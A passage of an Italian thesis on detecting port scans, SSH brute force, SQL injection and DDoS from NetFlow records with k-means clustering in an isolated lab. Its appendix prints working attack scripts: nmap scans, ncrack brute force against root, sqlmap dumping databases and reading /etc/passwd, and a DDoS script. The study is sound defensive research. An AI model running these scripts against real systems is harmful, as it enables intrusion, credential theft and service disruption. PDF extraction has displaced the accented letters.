nfcapd -p 9996 -t 120 -l ./folder

In seguito possiamo visualizzare i flussi raccolti attraverso nfdump, in par-
ticolare vogliamo visualizzare tutti i record NetFlow catturati in modalità
testuale estesa:

3.3 NFDump 15

Figura 3.3: Esempio di report generato con nfdump

nfdump -r ./folder/* -o long

Dopo di che viene generato il report in Figura 3.3 dove sono disponibili
numerose informazioni riguardante i flussi, tra cui il numero di pacchetti
transitati, i byte totali del flusso, l’esatto istante in cui il dispositivo ha
creato il flusso, la sua durata, i flag delle PDU TCP notati nei segmenti in
transito ed alcune statistiche sulla globali.

16 3. NetFlow

Durante la conﬁgurazione del test-bed sono stati utilizzati sia nfdump
che ne nfcapd con particolari conﬁgurazioni in modo da ottenere sia report
globali delle sessioni, sia report minuto per minuto.

Capitolo 4

Data Mining

Come anticipato precedentemente, nell’elaborato si propone di utilizzare
tecniche di data mining per estrarre modelli predittivi da dati collezionati
dagli intermediate systems; perci` risulta particolarmente utile presentare
o
alcuni concetti e tassonomie di base atte a meglio collocare il framework pre-
sentato dall’elaborato.
Gli algoritmi di data mining si possono caratterizzare in due principali tipologie[8,
node34]:

• Algoritmi supervisionati, i quali inferiscono una funzione di previsione
da set di dati supervisionati, ovvero selezionati per la loro rappresenta-
tivit` del caso reale. Tali algoritmi hanno quindi necessit` di una fase
a a
di addestramento preliminare.

• Algoritmi non supervisionati, che tentano di trovare strutture predittive
o pattern nascosti su dati non etichettati, ovvero non supervisionati.

Tra queste tipologie risulta molto utile agli scopi preposti dell’elaborato
la branca degli algoritmi non supervisionati, che si rivelano utili ad estrarre
pattern dalla mole di dati raccolta durante la fase sperimentale.

4.1 Algoritmi Non Supervisionati
Tale tipologia di algoritmi presenta un vantaggio fondamentale rispetto
agli algoritmi supervisionati: la non neccessariet` di una fase di addestramento[7,
a
cap.4.1]. Questa caratteristica non implica solo un un vantaggio in termini
di risorse in quanto viene elimiata la fase di selezione di training-set dal pro-
cesso di Knowledge Detection, ma ancora pi` importante risulta possibile
u
aﬀrontare una nuova classe di problemi che le gli algoritmi supervisionati

17

18 4. Data Mining

supportano. Infatti il limite che viene superato sta proprio nello svincolare
il processo di estrazione dai dati di training, i quali - specie in problemi con
elevata complessit` - potrebbero essere indecidibili a priori in quanto non
a
noto il pattern che si sta cercando di prevedere.
Nella branca degli algoritmi non supervisionati si possono distinguere due
principali approci:

• Data clustering, basato sulla definizione di metriche, sulla misurazione
della distanza tra gli oggetti dello spazio ed il loro successivo rag-
gruppamento in gruppi (cluster ). L’algoritmo utilizzato per gli scopi
dell’elaborato utilizza proprio un approcio di questo genere.

• Association rules[9, cap.6], basato sulla determinazione di regole as-
sociative inferite considerando le frequenze delle correlazioni tra gli
oggetti dello spazio in esame.

4.2 Data Clustering
In letteratura sono state descritte varie tipologie di algoritmi per il data
clustering tra cui quelli gerarchici, quelli fondati sul concetto di densit`, a
basati su approci statistici e quelli partitivi [5, cap.2].

4.2.1 Algoritmi gerarchici
Algoritmi di tipo gerarchico pongono principalmente enfasi sulla costruzione
di un albero di cluster, tramite il quale si esprime il legame gerarchico tra i
pattern appartenenti ai cluster. Esistono due modus operandi tipici di questa
branca di algoritmi[5, 9]:

• agglomerativo, il quale parte dal basso e raggruppa i pattern fino a
creare tutta la gerarchia dei cluster.

• divisivo, complementare al precedente (da root a foglie), nel quale si
scinde il nodo principale in vari sotto-cluster.

In tali algoritmi risulta quindi importante il concetto di dissimilarit`, il quale
a
pilota le scelte di fusione - o scissione - dei cluster. Per questa ragione hanno
rilievo le metriche ed i criteri di collegamento scelti nelle specifiche istanze di
questa tipologia di algoritmi.

4.3 K-means 19

4.2.2 Algoritmi Density-based
Negli algoritmi density based, invece il focus ` sulla densit` della popo-
e a
lazione nelle regioni dello spazio osservato[9, 5, cap.8.4]. L’idea che sta alla
base di questo approcio al data clustering ` che gli oggetti non siano equidis-
e
tribuiti, ma bens` siano osservabili zone con concentrazioni di oggetti pi`
ı u
elevate separate da regioni dello spazio osservato con densit` meno elevata.
a

4.2.3 Algoritmi Partitivi
Un’ulteriore tipologia si ha con gli algoritmi partitivi, dove si cerca ag-
glomerare i dati in cluster utilizzando un approcio bottom-up [5]. Nonostante
abbiano alcuni concetti in comune con gli algoritmi gerarchici - ad esempio
l’importanza della metrica adottata metrica - vi si differenziano per le tipolo-
gie di cluster che riescono a formare, infatti non prevedono vincoli gerarchici
sui raggruppamenti tendono, appunto, a partizionare lo spazio osservato in
insiemi disgiunti[9, cap.8.1.2]. Maggiori dettagli di questa classe di algoritmi
per il data mining verranno discussi nella sezione successiva, dove si porr` a
enfasi sull’algoritmo k-means.

4.3 K-means
L’algoritmo k-means, utilizzato anche nelle sperimentazioni proposte nel-
l’elaborato, ` categorizzabile come algoritmo di clustering partitivo[9, 5]. Es-
e
so prevede la partizione dell’insieme osservato in k cluster - con k arbitrario
- specificando altrettanti centroidi, ovvero elementi che si presuppongono al
centro del cluster, e collocando il resto degli elementi nel cluster a cui ap-
partiene il centroide pi` vicino. In seguito l’algoritmo prevede che vengano
u
svolte diverse itarazioni nelle quali si esegue il ricalcolo dei centroidi - come
baricentri del cluster - e si rivedono le assegnazioni degli elementi.
Risulta chiaro che ` molto importante la definizione della metrica con la quale
e
si determinano le distanze tra gli elementi dello spazio, infatti l’appartenen-
za di un elemento ad un cluster ` decisa in base alla vicinanza al centroide
e
che lo caratterizza. Pi` in dettagli la funzione obiettivo di questo algoritmo
u
` minimizzare la norma1 al quadrato degli elementi del cluster dai propri
e
centroidi:
k
2
min x − mi
i=1 x∈Si

1
Quindi lo spazio osservato deve essere uno spazio normato

20 4. Data Mining

Dove Si ` l’insieme degli elementi del cluster i-esimo ed mi il suo centroide.
e
Tipicamente vengono svolte numerose iterazioni di questo algoritmo variando
la posizione iniziale dei centroidi, in questa maniera si riescono ad individ-
uare soluzioni di buona qualit` selezionando tra tutte le soluzioni generate[5,
a
cap.2]. In generale risulta spesso impossibile trovare soluzioni ottimali con
algoritmi di clustering, proprio per questo si utilizzano algoritmi euristici
come quello appena descritto.

Capitolo 5

Framework Proposto

In seguito si presenteranno scenari, metodologie ed esperimenti volti a de-
scrivere ed a validare l’approcio che l’elaborato propone per la realizzazione
di un NIDS che sfrutta una logica di rilevazione basata sull’utilizzo di modelli
comportamentali estratti da dati riguardanti i flussi di rete, raccolti tramite
ogni dispositivo NetFlow-like compatibile.
La soluzione proposta pu` risultare particolarmente interessante quando il
o
campionamento diretto del traffico di rete risulta troppo oneroso, o sem-
plicemente quando nello scenario reale non si ` disposti ad installare nuovo
e
hardware per le rilevazioni.

5.1 Scenario Applicativo
Lo scenario di riferimento ` quello proposto in Figura 5.1, dove ` schemati-
e e
camente rappresentata la topologia di una rete di produzione, simile a diverse
realt` odierne. Da notare che l’unica accorgimento da tenere in consider-
a
azione per il deployment del sistema proposto, ` quello di riservare almeno
e
una network ip - possibilmente non raggiungibile ne dall’esterno ne dagli
host dell’organizzazione - nella quale installare le macchine per il colleziona-
mento/analisi dei record NetFlow; da ricordare che tale pratica ` comunque
e
sempre consigliata in scenari minimamente complessi in cui sia necessario
avere una buona separazione logico/funzionale della rete.
E’utile notare che nello scenario illustrato si pone enfasi sulla rilevazione degli
attacchi, ma nonostante ci` ` possibile figurare una possibile evoluzione ag-
oe
giungendo caratteristiche di proattivit` al sistema proposto. Infatti, in uno
a
scenario pi` completo, risulta interessante pensare ad una interazione del
u
sistema con altri dispositivi di rete - eg.firewall - in grado di bloccare gli
attacchi in corso. Perci` scenari e metodologie presentate, vanno interpretati
o

21

22 5. Framework Proposto

come modelli di riferimento sui quali basarsi per la realizzazione di sistemi
di rilevamento d’intrusioni pi` complessi.
u

Figura 5.1: Scenario applicativo di riferimento per NIDS basati su NetFlow

5.2 Metodologia
L’applicazione di tecniche di data mining non supervisionato ai dati collezionati
tramite NetFlow pone un problema non banale in quanto occorre s` testareı
tale soluzione in un ambiente controllato, ma allo stesso tempo occorre anche
ricavare dalle sessioni di test dati signiﬁcativi anche per scenari reali.
Per questa ragione si ` scelto di procedere con un approcio similare a quello
e
utilizzato in precedenti lavori aﬃni[6], ovvero orientare la sperimentazione
di laboratorio ad una logica emulativa, in altre parole ricreare sessioni speri-

5.2 Metodologia 23

mentali che emulino un contesto realistico. Coerentemente a questa scelta, ` e
opportuno che le sessioni di laboratorio siano partizionate all’interno di pi`
u
stage che permettano di emulare i varie tipologie di comportamenti possibili:

• Neutral Stage, dove vengono raccolti dati sui flussi emulando compor-
tamenti benevoli da parte degli host.

• Attack Stage, dove vengono eseguite varie sessioni di attacco utilizzando
tecniche differenti.

• Realistic Stage, dove gli attacchi vengono sferrati in contemporanea al
traffico neutrale.

Oltre la definizione di sessioni e stage sperimentali, occorre anche esplic-
itare gli step da effettuare durante le varie prove, in modo da garantire la
ripetibilit` dei test eseguiti.
a
In Figura 5.2 sono identificabili varie attivit` principali, ognuna delle quali
a
comprende al suo interno una o pi` azioni legate tra loro in una successione
u
temporale.


Figura 5.2: Attivit` per la fase sperimentale
a

Tra le varie attivit` risultano particolarmente importanti per la buona
a
riuscita delle sperimentazioni, le attivit` di:
a
• conﬁgurazione dei servizi, in quanto la scelta delle tipologie dei servizi
deve comunque essere rappresentativa di una realt`; a

• setup delle macchine per il collezionamento dei record NetFlow, in

5.3 Test-bed 25

quanto pu` essere significativo decidere con quale granularit` si in-
o a
tende estrarre i record sui flussi mantenuti sulle cache NetFlow degli
ISs;

• generazione traffico, in quanto anch’esso deve essere emulato in maniera
quanto pi` conforme alla realt`;
u a

Infine, risultano altrettanto importanti le attivit` di processamento ed analisi
a
dei dati, in quanto saranno le uniche che forniranno risposte sulle peculiarit`
a
dei flussi.

5.3 Test-bed
La rete utilizzata per i test sperimentali ` anch’essa ispirata allo sce-
e
nario di riferimento descritto precedentemente. In Figura 5.3 ` illustrata
e
la topologia della rete implementata per effettuare le prove sperimentali.
Nella fattispecie ` stata configurata una macchina server sulla quale sono
e
attivi un servizi HTTP ed SSH, un host sul quale vengono collezionati i
record NetFlow ed ulteriori macchine sulle quali vengono emulati i vari client
(benevoli o malevoli) che accedono a tali servizi. Da notare che all’interno
del server web ` stata anche pubblicata una pagina dinamica vulnerabile a
e
Blind Sql-Injection: ci` risulta indispensabile per poter effettuare una ses-
o
sione sperimentale che emuli lo scenario in cui un host malevolo sfrutta tale
vulnerabilit` per ottenere il dump dell’intero database di back-end.
a
Infine, la macchina che ospita il collector, installata su di una network sep-
arata e non raggiungibile dagli altri host, ` stata equipaggiata con il demone
e
nfcapd [23] per il collezionamento dei record NetFlow, configurato in modo da
salvare minuto per minuto i flussi raccolti e produrre un report riguardante
tale intervallo temporale. In questo modo saranno a disposizione per l’analisi
sia dati globali della sessione, che ne fotografie scattate ai flussi durante tutto
l’arco della prova.
Naturalmente il test-bed descritto ` stato implementato in un ambiente con-
e
trollato ed isolato, in modo da prevenire il verificarsi di interferenze che
potrebbero alterare i risultati delle sessioni di prova.


Figura 5.3: Topologia del testbed

5.4 Sessioni e Risultati
La fase sperimentale ` stata strutturata in 6 sessioni basate sulla metodolo-
e
gia precedentemente descritta.
Le prove condotte sono state effettuate con l’ausilio di vari tool ed altrettanti
script creati/modificati ad hoc, in dettaglio sono stati utilizzati per i seguenti
scopi:

• generazione di traffico neutro[7]

• esecuzione di pi` scansioni con nmap[13].
u

• tentare attacchi dictionary-based a servizi ssh, sfruttando ncrack[17].

• emulare un attacco DDoS su di un web server da parte di numerosi
client.

• sfruttare vulnerabilit` di applicazioni web, con l’ausilio di sqlmap[15].
a

• generare traffico realistico, dove vari attacchi sono portati in contem-
poranea a richieste benevole.

5.4 Sessioni e Risultati 27

Le sessioni effettuate hanno avuto durata differente a seconda della loro
tipologia in virt` della natura stessa dell’attacco, ad esempio si pu` notare
u o
come la sessione di SBF risulti temporalmente molto pi` estesa rispetto a
u
quella di SQL-I a causa della scelta di credenziali forti per il servizio SSH.
In seguito - Tabella 5.4 - sono riportate alcune statistiche di carattere generale
sui dati riguardanti i flussi di rete raccolti, mentre nelle sezioni successive sono
descritte le caratteristiche dei flussi registrati basate su osservazioni in stile
forense.
Sessione Flussi Bytes Packets Bps Pps Bpp Durata
Traffico Neutro 298343 352486984 5694791 76366 154 61 633 min.
Port Scanning 16782 739426 17973 1777 5 41 64 min.
SBF 20276 22970104 160275 16983 14 143 180 min.
DDoS 481896 289380677 4319122 668652 1247 66 54 min.
SQL-Injection 13734 15011876 69374 44642 25 216 45 min.
Traffico Reale 714677 418801331 6114456 178714 326 68 360 min.

Tabella 5.1: Statistiche generali sui flussi collezionati


Figura 5.4: Campione di flussi sessione Traffico Naturale

5.4.1 Traffico Neutro
Questa sessione ` di rilevante importanza perch´ essa rappresenta la base
e e
di partenza per l’analisi anche delle successive sessioni.
Perci`, prima di tutto, occorre spiegare come sono stati ricreati i pattern per
o
il traffico neutrale[6, 7]: tali modelli sono stati ricavati dall’analisi di una
cattura di traffico da una backbone (pubblicata da CAIDA[24] - Coopera-
tive Association for Internet Data Analysis) dalla quale sono state isolate
le interazioni di pi` client a determinati servizi, poi utilizzate per estrarne
u
pattern temporali - eg. timing delle richieste - e dimensionali - grandezza
delle risorse richieste ai servizi (ad esempio dimensione delle pagine web).
In Figura 5.4.1 - e nelle successive figure del capitolo - ` mostrata una sezione
e
del report generato con nfdump dove vengono riportati timestamp, dura-
ta, protocollo, ip:porta sorgente, ip:porta destinazione, Flag TCP, Type of
Service, numero pacchetti e totale byte riguardanti ogni flusso registrato.


Figura 5.5: Campione di flussi sessione Port Scanning

5.4.2 Port Scanning
Tra le caratteristiche osservabili nei record NetFlow registrati (Figura 5.4.2)
in questa sessione vi sono:

• la minor durata temporale di ogni singolo flusso rispetto alla sessione
precedente;

• la maggior concentrazione di PDU inviate da un singolo host;

• grande variet` di porte destinazione sondate da un singolo host;
a

• mancanza di flag FIN nel flussi registrati - tranne per alcuni tipi di
scansioni, eg. Xmas;

• flussi da pochi byte e composti da pochi pacchetti;


5.4.3 SSH Brute Force (SBF)
In questa sessione le caratteristiche del traffico non sono cos` esplicite
ı
come nella precedente (Figura 5.4.3), ma si possono comunque notare alcuni
interessanti elementi:

• connessioni contemporanee e parallele da uno stesso host al servizio;

• durata dei flussi quasi fissa, infatti il demone SSH utilizzato prevede 3
tentativi prima terminare la connessione;

• burst di flussi simili replicati nel tempo;

Figura 5.6: Campione di flussi sessione SBF


5.4.4 DDoS
Sessione particolarmente interessante in quanto gli effetti di un attacco
DDoS si possono riscontrare anche in caso di improvvisi picchi di utenza.
Le discriminanti per il riconoscimento di tale attacco sono state:

• l’aumento innaturale e repentino del numero di flussi registrati nel
periodo;

• la perdita degli intervalli temporali tipici tra richieste effettuate da uno
stesso;

Altro indicatore pu` essere la somiglianza tra i flussi registrati, anche se ques-
o
ta caratteristica pu` avere margini di ambiguit` in quanto tale somiglian-
o a
za potrebbe esser dovuta alle richieste di una particolare risorsa divenuta
improvvisamente “popolari”.

Figura 5.7: Campione di flussi sessione DDoS


5.4.5 SQL-Injection
Anche in questo caso risultano esserci margini di ambiguit` in quanto
a
si sta osservando il fenomeno dal livello di trasporto. Nonostante ci` alcune
o
considerazioni sui flussi raccolti possono essere comunque effettuate, si notano
infatti:

• flussi serrati, non vi sono pi` le naturali pause nelle richieste al servizio,
u
e trattandosi di un servizio web ci` lascia intendere che non ci sia un
o
umano dietro a quelle richieste;

• durate dei flussi simili tra loro;

• grandezza in byte dei flussi altrettanto simili, in quanto si presuppone
che vengano effettuate richieste sempre alla stessa pagina vulnerabile;

Figura 5.8: Campione di flussi sessione SQL-I


5.4.6 Traffico Realistico
L’ultima sessione ` stata realizzata emulando in successione le varie tipolo-
e
gia di attacco gi` sperimentate nelle prove precedenti. Come gi` anticipato
a a
gli attacchi sono stati lanciati in contemporanea al traffico neutrale utilizzato
all’inizio della fase sperimentale.
Nonostante la maggiore entropia derivante dalle grandi quantit` di flussia
collezionati ` stato possibile riconoscere alcuni pattern osservati negli attac-
e
chi esaminati precedentemente.
In Figura 5.4.6 si notano, evidenziati in arancione, segmenti TCP caratter-
izzati dai flag UPF attivi, il che ci indica la possibilit` che si stia verificando
a
uno port scanning, presumibilmente con tecnica Xmas, all’interno della rete.
Altro pattern riscontrato ` quello d’attacco SBF, dove si possono notare pi`
e u
connessioni di durata limitata aperte dallo stesso host in un ristretto interval-
lo temporale (Figura 5.4.6). Successivamente ` stato possibile notare anche
e
possibili attacchi SQL-I in quanto diversi flussi partiti da uno stesso host
hanno avuto dimensione pressoch´ identica e distribuzione nel tempo innat-
e
urale (Figura 5.4.6). Anche nel caso di attacco DDoS da parte di numerosi
client “infetti” ` risultato individuabile, in quanto tipicamente in questo tipo
e
di attacco i partecipanti richiedono contemporaneamente e continuamente la
stessa risorsa (Figura 5.4.6).

Figura 5.9: Port Scanning (Xmas scan) con traffico realistico


Figura 5.10: SBF con traﬃco realistico

Figura 5.11: SQL-I con traﬃco realistico

5.5 Analisi Dei Dati 35

Figura 5.12: DDoS con traffico realistico

5.5 Analisi Dei Dati
Le precedenti osservazioni effettuate sui dati relativi ai flussi di rete sug-
geriscono quindi di approfondire ulteriormente le analisi. Come gi` anticipa-
a
to, ` stato quindi adottato un differente approccio all’analisi dei dati, ispirato
e
a quanto sperimentato in lavori precedenti su NIDS basati su SNMP[6].
Tale tipologia di analisi prevede infatti la definizione di un set di variabili
che possano efficientemente rappresentare lo stato della rete, ed in seguito
l’individuazione - tramite tecniche di data mining - di soglie caratterizzanti
che possano permettere di rilevare attacchi di rete all’interno di traffico reale.
La variabili artificiali sono state costruite in maniera tale da poter ottenere
formati simili a quelli proposti in [6, cap.3] con lo scopo di riutilizzare quanto
pi` possibile l’algoritmo k-means sviluppato e testato per l’occasione. Nonos-
u
tante l’impostazione scelta, si ` per` deciso di non uniformare completamente
e o
le variabili create con quelle suggerite in [6], infatti il protocollo NetFlow offre
diverse opportunit` tra cui statistiche di sessione e vari minuziosi dettagli sui
a
flussi registrati, perci` s` ` scelto di sfruttare queste peculiarit` per costruire
o ıe a
variabili leggermente differenti dalle precedenti. Le variabili artificiali indi-
viduate per questo scopo sono riportate in Tabella 5.5, esse vengono utilizzate
per comporre una tupla che caratterizza un’intervallo temporale di campi-
onamento. Specificatamente, nel test-bed utilizzato per le sperimentazioni


tale intervallo ` stato fissato ad 1 minuto, ci` significa che ogni record inserito
e o
nelle tabelle artificiali costruite caratterizza un intero minuto di traffico.
In accordo con la metodologia adottata, le tabelle generate sono poi state
usate come data set nella fase di data mining, sono state quindi processate
da pi` istanze1 dell’algoritmo k-means descritto nei precedenti capitoli. In
u
seguito all’individuazione delle soglie critiche, s` ` proceduto a verificare tali
ıe
risultati tramite utilizzo delle stesse come discriminante per il rilevamento,
in tal modo ` stato possibile calcolare l’accuratezza del sistema che, come da
e
letteratura, viene definita come:
TP + TN
Accuracy =
TP + TN + FP + FN
Dove T P sono i veri positivi (attacchi rilevati), T N i veri negativi (traffico
neutro), F P i falsi positivi (traffico neutro scambiato per attacco) ed F N i
falsi negativi (attacchi scambiati per traffico normale). In Tabella 5.5 sono
riportate le statistiche ottenute in seguito alle analisi preliminari. Da essi si
pu` notare come, nel complesso, il sistema abbia buoni livelli di accuratezza
o
e come risolva uno dei problemi tipici dei pi` classici NIDS behaviour-based,
u
ovvero alto numero di falsi positivi e successivi re-training.

Media Dev.Std. Moda Min Max
Falsi Negativi (%) 0.09 0.71 0 0 15.43
Falsi Positivi (%) 15.64 7.68 19.50 3.61 34.85
Accuratezza (%) 76.56 2.47 78.85 64.75 81.56

Tabella 5.2: Statistiche del sistema

1
La sessione preliminare di analisi ha previsto 1000 utilizzi dell’algoritmo k-means sui
data set

5.5 Analisi Dei Dati 37

1 Timestamp
2 Flows
3 Bytes
4 Packets
5 Byte per Second (AVG)
6 Packet per Second (AVG)
7 Byte per Packet (AVG)
8 Client IP 1
9 Client IP 2
10 Client IP 3
11 nSYN Client IP 1
12 nSYN Client IP 2
13 nSYN Client IP 3
14 nRES Client IP 1
15 nRES Client IP 2
16 nRES Client IP 3
17 nACK Client IP 1
18 nACK Client IP 2
19 nACK Client IP 3
20 nSYNACK Client IP 1
23 nICMP Client IP 1
26 Server IP 1
27 First common port on Server IP 1
28 Second common port on Server IP 1
29 Third common port on Server IP 1

Tabella 5.3: Variabili artificiali significative estratte da record NetFlow

5.5.1 Prestazioni

Occorre precisare che la generazione di queste variabili artificiali non risul-
ta essere un fardello computazionale eccessivo, infatti le computazioni delle
tabelle hanno impegnato una comune workstation2 per non pi` di 10 minuti.
u
In seguito si ` deciso di eseguire alcuni benchmark sulla stessa workstation
e
e si sono ottenuti significativi risultati che permettono, almeno potenzial-
mente, di considerazione di scenari applicativi ancora pi` vasti rispetto a
u

2
Caratteristiche workstation: RAM 4GB, CPU Intel i3


quelli prefissati.
Nella fattispecie in Tabella 5.5.1 si nota come - sempre in riferimento alla
workstation utilizzata - il tempo medio di calcolo delle variabili artificiali -
considerando slot da 570 flussi - risulta essere estremamente inferiore all’in-
tervallo temporale considerato per la raccolta dei dati (1 minuto, come da
specifiche test-bed).

Flussi Intervalli (Int) Flussi per Int. Tempo tot. Tempo Int. Stima incidenza Flusso
178714 313 570 150 sec 0.479 sec 0.0008 sec

Tabella 5.4: Risultati Benchmark per calcolo nuove tuple

Inoltre, eseguendo alcuni semplici calcoli ` possibile attribuire il carico
e
computazionale dell’intervallo ai singoli flussi, nel nostro caso calcolato in
circa 0.0008 sec per flusso, ed effettuare stime sulla capacit` limite del sis-
a
tema. In particolare se si assume che il delta di carico computazionale che
si avrebbe aggiungendo un flusso all’intervallo ` pari al contributo preceden-
e
temente calcolato, risulta che il sistema pu` riuscire ad operare tali calcoli
o
“online”3 fino ad numero di record per intervallo di circa 75000. Ovviamente
tale numero ha senso solo se si considerano intervalli da un minuto, come pro-
posto nell’elaborato, altrimenti occorre ripetere i calcoli con altri parametri.
Ci` significa che anche con l’utilizzo di macchine di fascia media si possono
o
ottenere ottime prestazioni per la rilevazione di attacchi di rete in tempo
reale.

3
Il calcolo delle variabili artificiali deve essere minore del tempo dell’intervallo

Conclusioni

Nell’elaborato ` stato proposto un approccio alla rilevazione di intrusioni
e
basato sul riconoscimento di pattern comportamentali malevoli all’interno
delle registrazioni dei flussi di rete, ipotetici scenari applicativi per questo
sistema e metodologie per la realizzazione di test pratici. In seguito sono
stati presentati i risultati di varie sessioni sperimentali nelle quali sono stati
emulati diversi scenari.
Analizzando i risultati collezionati si pu` notare come i pattern comporta-
o
mentali malevoli siano riscontrabili anche in scenari realistici, dove, in con-
temporanea, numerosi client svolgono le loro normali operazioni di rete.
Gli output di queste analisi indicano anche che il particolare approccio pro-
posto nell’elaborato risulti avere gi` buoni livelli di efficacia ed ulteriori
a
margini di miglioramento, il che rende il sistema un ottimo candidato come
base per soluzioni NIDS pi` complesse ed integrabili in ambienti di pro-
u
duzione. Oltre a ci`, ` stato mostrato come l’utilizzo del sistema proposto
o e
sia computazionalmente efficiente e non richieda hardware speciale, renden-
dolo adatto anche a scenari distribuiti, in cui possono essere presenti pi` u
monitor in varie aree della rete.
In fine, le metodologie proposte risultano interessanti anche in vista di fu-
ture espansioni, come ad esempio l’introduzione di proattivit` nel sistema,
a
realizzabile con la progettazione di un livello d’interazione con dispositivi in
grado di attuare cambiamenti alla rete.

39

Appendice A

Conﬁgurazioni

A.1 Router Cisco
Di seguito la conﬁgurazione settata su iOS 12.4 per abilitare NetFlow.
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname 2801A
!
[...]
!
flow exporter flowexp-1
description test exporter. DO NOT TOUCH
destination 10.255.100.1
transport udp 9996
!
!
flow exporter flowexp-2
description flow exporter for immediate monitor
destination 10.255.100.1
transport udp 9997
!
!
flow monitor flowmon-1
description test flow monitor. DO NOT TOUCH
record netflow ipv4 original-input
exporter flowexp-1
!
!
flow monitor flowmon-2
description monitor with immediate cache
record netflow ipv4 original-input
exporter flowexp-2
cache type immediate
!
[...]
!
interface FastEthernet0/0

41

42 A Prima Appendice

description Management Interface - KEEP IT UP AND DO NOT MODIFY!
ip address 192.168.8.249 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet0/1
no ip address
duplex auto
speed auto
!
interface FastEthernet0/1.101
encapsulation dot1Q 101
ip address 10.255.101.254 255.255.255.0
no cdp enable
!
interface FastEthernet0/1.111
encapsulation dot1Q 111
ip address 10.255.111.254 255.255.255.0
ip flow monitor flowmon-1 input
ip flow monitor flowmon-2 input
ip flow ingress
no cdp enable
!
interface Serial0/1/0
ip address 10.110.110.1 255.255.255.252
encapsulation ppp
shutdown
!
interface Serial0/1/1
ip address 10.130.130.1 255.255.255.252
encapsulation ppp
shutdown
!
interface FastEthernet0/3/0
ip address 10.255.100.254 255.255.255.0
duplex auto
speed auto
!
ip forward-protocol nd
!
!
[...]
scheduler allocate 20000 1000
end

A.2 Collector
Script e comandi per conﬁgurazione collector.
#!/bin/bash
# Dependencies: nfdump
#
# $1 is the captured file path
# $2 is the log file where to appens elaborated data
# $3 time of the capture
#
# Usage:
# Use it in combination with nfcapd’s -x param
# Example:
# nfcapd -b 10.255.100.1 -p 9996 -t 60 -l ./nf-capture -x "$0 %d/%f log %t"

A.2 Collector 43

capturedfile=$1
logfile=$2
time=$3
touch $logfile
touch "$logfile.human"
echo "Captured@$time" >> $logfile
echo "Captured@$time" >> "$logfile.human"
nfdump -r $capturedfile -o csv >> $logfile
nfdump -r $capturedfile -o long >> "$logfile.human"

Appendice B

Script Sessioni

In seguito gli script utilizzati durante le sessioni sperimentali

B.1 Port Scanning
#!/bin/bash
# Dependencies: nmap
echo " "
echo "*******************"
echo " Nmap Attack Script "
echo "*******************"
echo " "
echo "Usage: $0 <netmask>"

if [ "$(id -u)" != "0" ]; then
echo "This script must be run as root"
exit 1
fi

servervlanID="101"
timeout="600" #10 mins

nmap -sS 10.255.$servervlanID.0/$1
sleep $timeout
nmap -sT 10.255.$servervlanID.0/$1
sleep $timeout
nmap -sU 10.255.$servervlanID.0/$1
sleep $timeout
nmap -sX 10.255.$servervlanID.0/$1
sleep $timeout
nmap -sV 10.255.$servervlanID.0/$1
sleep $timeout

nmap --Pn sS 10.255.$servervlanID.0/$1
sleep $timeout
nmap -Pn -sT 10.255.$servervlanID.0/$1
sleep $timeout
nmap -Pn -sU 10.255.$servervlanID.0/$1
sleep $timeout
nmap -Pn -sX 10.255.$servervlanID.0/$1
sleep $timeout
nmap -Pn -sV 10.255.$servervlanID.0/$1

45

46 B Seconda Appendice

B.2 SBF
#!/bin/bash
# Dependencies: ncrack
# SSH Bruteforce Attack Script
echo " "
echo "*****************************"
echo " SSH Bruteforce Attack Script "
echo "*****************************"
echo " "
# Basic and inefficent input control
if [ $# -ne 3 ]
then
echo " The $0 needs 2 arguments: "
echo " 1) Server IP address to attack "
echo " 2) Password list file "
echo " 3) Iterations "
echo " Example: $0 192.168.8.1 ./password_file 50"
echo " "
exit 0
fi
# Initialize input values
ServerAddress=$1
PwdList=$2
c=1
while [ $c -le $3 ]
do
echo " *** STARTING ncrack*** "
# hydra
ncrack -v --user root -P $PwdList $ServerAddress:22
c=‘expr 1 + $c‘
done
exit 0

B.3 SQL-I
#!/bin/bash
# Dependencies: python >= 2.7, sqlmap
echo " "
echo " ********************************* "
echo " Sqli attack script "
echo " ********************************* "
echo " "
pyth="~/Pithon/python"
slqmp="~/sqlmap/sqlmap.py"
host="10.255.101.1"
page="pageloader?id=0"
dumps[0]="--users"
dumps[1]="--is-dba"
dumps[2]="--privileges"
dumps[3]="--dbs"
dumps[4]="--common-tables"
dumps[5]="--tables"
dumps[6]="--columns-T Country"
dumps[7]="--dump -T City"
dumps[8]="--file-read=/etc/passwd"
dumps[9]="--dump -D test"
dumps[10]="--dump-all"
c2=0
c=11

B.4 DDoS 47

echo " Clearing previous sessions.."
rm -R $sqlmap/output/$host

echo " Cleared!"
echo " "
echo " Starting..."
echo " "

while [ $c2 -le $c ]
do
echo " Trying with ${dumps[$c2]} ..."
echo ‘$pyth $sqlmap -v 1 -h http://$host/$page ${dumps[$c2]} --batch‘
echo " "
c2=‘expr $c2 + 1‘
done

B.4 DDoS
#!/bin/bash
# Dependencies: wget
echo " "
echo "*******************"
echo " DDoS Attack Script "
echo "*******************"
echo " "
# Basic and inefficent input control
if [ $# -ne 5 ]
then
echo " The $0 needs 1 arguments: "
echo " 1) First Host IP to simulate "
echo " 2) Number of host to simulate"
echo " 3) Server Address"
echo " 4) Selected interface"
echo " 5) Numer or request"
echo " Example: $0 10.255.111.2 100 10.255.101.1 eth1.111 5000"
echo " "
exit 0
fi
# Initialize input values
IPStart=$1
HostNumber=$2
ServerAddress=$3
Interface=$4
Counter=0
# Splitting the IPse
# Starting IPs
AS=‘echo $IPStart | cut -d. -f1‘
BS=‘echo $IPStart | cut -d. -f2‘
CS=‘echo $IPStart | cut -d. -f3‘
DS=‘echo $IPStart | cut -d. -f4‘
while [ $Counter -lt $HostNumber ]
do
echo "Generating IP Alias = $AS.$BS.$CS.$DS"
ifconfig $Interface:$Counter $AS.$BS.$CS.$DS netmask 255.255.255.0
zombies[$Counter]="$AS.$BS.$CS.$DS"
if [ ‘expr $DS + 1‘ -le 255 ]
then
DS=‘expr $DS + 1‘
else
if [ ‘expr $CS + 1‘ -le 255 ]
then

48 B Seconda Appendice

CS=‘expr $CS + 1‘
DS=0
else
if [ ‘expr $BS + 1‘ -le 255 ]
then
BS=‘expr $BS + 1‘
CS=0
DS=0
else
if [ ‘expr $AS + 1‘ -le 255 ]
then
AS=‘expr $AS + 1‘
BS=0
CS=0
DS=0
else
AS=0
BS=0
CS=0
DS=0
fi
fi
fi
fi
Counter=‘expr $Counter + 1‘
done # while
echo " "
echo "Aliasing Finished !! "
echo " "
c2=1
